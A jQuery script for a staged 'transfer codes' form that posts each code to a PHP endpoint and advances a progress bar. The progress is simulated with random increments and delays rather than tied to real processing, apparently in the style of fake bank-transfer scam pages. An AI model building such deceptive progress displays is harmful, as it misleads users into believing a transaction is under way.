'use strict';

$(function() {

	var stage = 0;
	var total_stages = 0;
	var barlength = 0;
	
	function rand(min, max) { // min and max included 
		return Math.floor(Math.random() * (max - min + 1) + min)
	}

	function progress(percent) {
		// increase progress bar;
		var bar = $("#process .progress .progress-bar");
		if( percent > 100 ) percent = 100;
		var new_percent = `${percent}%`;
		bar.get(0).style.width = new_percent
		if( percent == 100 ) new_percent = 'Completed';
		bar.get(0).innerText = new_percent;
	}
	
	function showoff( name, error ) {
		if( !isNaN(name) && (parseInt(name) + 1) > $("[data-name]").length ) return true;
		if( error === undefined ) {
			$("[data-name]").each(function(index) {
				var value = this.dataset.name;
				if( ( !isNaN(name) && parseInt(name) === index ) || (this.dataset.name == name) ) {
					$(this).removeClass('d-none');
					$(this).find('input').prop('disabled', false);
					stage = index
				} else {
					$(this).addClass('d-none');
					$(this).find('input').prop('disabled', true);
				}
			});
			$("form").find('fieldset').prop('disabled', false);
		} else {
			var el = $($('[data-name]').get(stage));
			var code = el.get(0).dataset.name.toUpperCase();
			var errorMsg
			if( error ) errorMsg = `<span class='text-success'><i class='fas fa-check mr-1'></i> ${code} code confirmed</span>`;
			else errorMsg = `<span class='text-danger'>* ${code} code is incorrect</span>`;
			el.find('.error').removeClass('d-none').html( errorMsg );
		}
	}
	
	$('#code-form').on('submit', function(e) {
		e.preventDefault();
		var form = this;
		$.ajax({
			method: 'POST', 
			url: 'server/for-transfer-codes.php',
			data: $(this).serialize(),
			success: function(response) {
				$(form).find('fieldset').prop('disabled', false);
				var result = JSON.parse(response);
				showoff(stage, result[0]);
				if( result[0] ) {
					$(form).find('fieldset').prop('disabled', true);
					var extend = barlength + Math.ceil( 100 / total_stages );
					var bar_rand = rand(8, 16);
					var timer = rand(1200, 2500);
					var interval = setInterval(function() {
						barlength += bar_rand;
						if( barlength >= extend ) {
							barlength = extend;
							clearInterval(interval);
							setTimeout(function() {
								var completed = showoff( stage + 1 );
								if( completed ) {
									$(form).addClass('d-none');
									$("#complete-form").removeClass('d-none');
								}
							}, rand(1000, 2700));
						}
						progress( barlength );
					}, timer);
				}
			}
		});
		$(form).find('fieldset').prop('disabled', true);
	});
	
	showoff(0);
	
	$("[data-mail]").click(function(e) {
		e.preventDefault();
		$.ajax({
			method: 'POST',
			url: 'server/for-transfer-codes.php',
			data: { mail: this.dataset.mail },
			success: function(response) {
				var result = JSON.parse(response);
				alert( result[0] );
			}
		});
	});
	
	$("[data-name]").each(function() {
		var container = this;
		$(this).find('input').on('focus', function() {
			$(container).find('.error').addClass('d-none');
		});
		total_stages++;
	});

});